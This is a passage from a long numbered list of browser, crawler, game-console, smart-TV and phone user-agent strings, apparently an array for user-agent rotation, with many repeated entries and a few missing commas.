  2255. "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  2256. "PSP (PlayStation Portable); 2.00",
  2257. "Gigabot/3.0 (http://www.gigablast.com/spider.html)",
  2258. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  2259. "LG-BDP Linux/2.6.35 UPnP/1.0 DLNADOC/1.50 LGE_DLNA_SDK/1.5.0",
  2260. "Mozilla/5.0 (SmartHub; SMART-TV; U; Linux/SmartTV) AppleWebKit/531.2+ (KHTML, like Gecko) WebBrowser/1.0 SmartTV Safari/531.2+",
  2261. "Mozilla/5.0 (SMART-TV; X11; Linux i686) AppleWebKit/535.20+ (KHTML, like Gecko) Version/5.0 Safari/535.20+",
  2262. "Doris/1.15 [en] (Symbian)",
  2263. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  2264. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100",
  2265. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  2266. "Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01",
  2267. "Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62",
  2268. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
  2269. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  2270. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.39 Safari/525.19",
  2271. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  2272. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; uZardWeb/1.0; Server_JP)",
  2273. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0",
  2274. "SonyEricssonW800i/R1BD001/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  2275. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  2276. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20110517 Firefox/5.0 Fennec/5.0",
  2277. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  2278. "MOT-V300/0B.09.19R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0",
  2279. "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0",
  2280. "Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 480X800 LGE VX11000",
  2281. "MOT-L7/08.B7.ACR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1"
  2282. "Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)",
  2283. "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
  2284. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00",
  2285. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00",
  2286. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00",
  2287. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01",
  2288. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00",
  2289. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  2290. "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36",
  2291. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0",
  2292. "Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4",
  2293. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0",
  2294. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36",
  2295. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36",
  2296. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56",
  2297. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7",
  2298. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  2299. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  2300. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  2301. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  2302. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
  2303. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  2304. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36",
  2305. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  2306. "Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36",
  2307. "Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00",
  2308. "Mozilla/4.0 (compatible; MSIE 9.0; Windows 98; .NET CLR 3.0.04506.30)",
  2309. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  2310. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.4.53360; WOW64; en-US)",
  2311. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  2312. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 4.4.58799; WOW64; en-US)",
  2313. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  2314. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
  2315. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0",
  2316. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0",
  2317. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0"
  2318. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00",
  2319. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  2320. "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36",
  2321. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0",
  2322. "Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4",
  2323. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0",
  2324. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36",
  2325. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36",
  2326. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56",
  2327. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7",
  2328. "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
  2329. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  2330. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  2331. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2332. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  2333. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2334. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  2335. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  2336. "Opera/6.04 (Windows XP; U) [en]",
  2337. "Opera/9.99 (X11; U; sk)",
  2338. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  2339. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  2340. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  2341. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  2342. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  2343. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  2344. "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
  2345. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
  2346. "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36",
  2347. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36",
  2348. "Mozilla/5.0 (Linux; Android 4.4.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36",
  2349. "Mozilla/5.0 (Linux; Android 4.4.3; HTC_0PCV2 Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36",
  2350. "Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00",
  2351. "Mozilla/4.0 (compatible; MSIE 9.0; Windows 98; .NET CLR 3.0.04506.30)",
  2352. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
  2353. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/4.0; GTB7.4; InfoPath.3; SV1; .NET CLR 3.4.53360; WOW64; en-US)",
  2354. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  2355. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 4.4.58799; WOW64; en-US)",
  2356. "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  2357. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0",
  2358. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0",
  2359. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0",
  2360. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0"
  2361. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2362. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2363. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2364. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  2365. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2366. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2367. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2368. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2369. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  2370. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2371. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2372. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2373. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2374. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2375. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2376. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  2377. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2378. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2379. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2380. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2381. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  2382. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2383. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2384. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2385. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2386. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2387. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  2388. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2389. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  2390. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  2391. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  2392. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  2393. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  2394. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  2395. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  2396. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2397. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  2398. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  2399. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  2400. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  2401. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  2402. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  2403. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  2404. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  2405. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  2406. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  2407. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  2408. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2409. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  2410. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  2411. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2412. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  2413. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  2414. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  2415. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  2416. "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2417. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  2418. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  2419. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2420. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2421. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2422. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2423. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  2424. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2425. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  2426. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  2427. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  2428. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  2429. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  2430. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  2431. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  2432. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  2433. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  2434. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  2435. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  2436. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  2437. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  2438. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  2439. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  2440. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  2441. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  2442. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  2443. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  2444. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2445. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  2446. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  2447. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  2448. "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  2449. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  2450. "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  2451. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  2452. "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2453. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  2454. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  2455. "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  2456. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3",
  2457. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  2458. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  2459. "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1",
  2460. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
  2461. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
  2462. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)",
  2463. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)",
  2464. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)",
  2465. "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
  2466. "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  2467. "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
  2468. "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10",
  2469. "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.5.24 Version/10.52",
  2470. "Mozilla/5.0 (Linux; Android 6.0.1; SM-G920V Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36",
  2471. "Opera/8.5 (X11; i686 Linux; U; ru, en_US)",
  2472. "SexShop.Sg/Nutch-1.1 (www.SexShop.Sg; crawler@SexShop.Sg)",
  2473. "Rome Client (http://tinyurl.com/64t5n) Ver: 0.9",
  2474. "Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.13918/19.752; U; ru) Presto/2.6.25",
  2475. "Opera/9.80 (Windows NT 6.0; U; ru) Presto/2.5.22 Version/10.50",
  2476. "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.24 Version/10.53 MM3-WebAssistant",
  2477. "C4PC UserAgent/0.7",
  2478. "Googlebot 1.01.003",
  2479. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
  2480. "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3",
  2481. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:7.0.1) Gecko/20100101 Firefox/7.0.1",
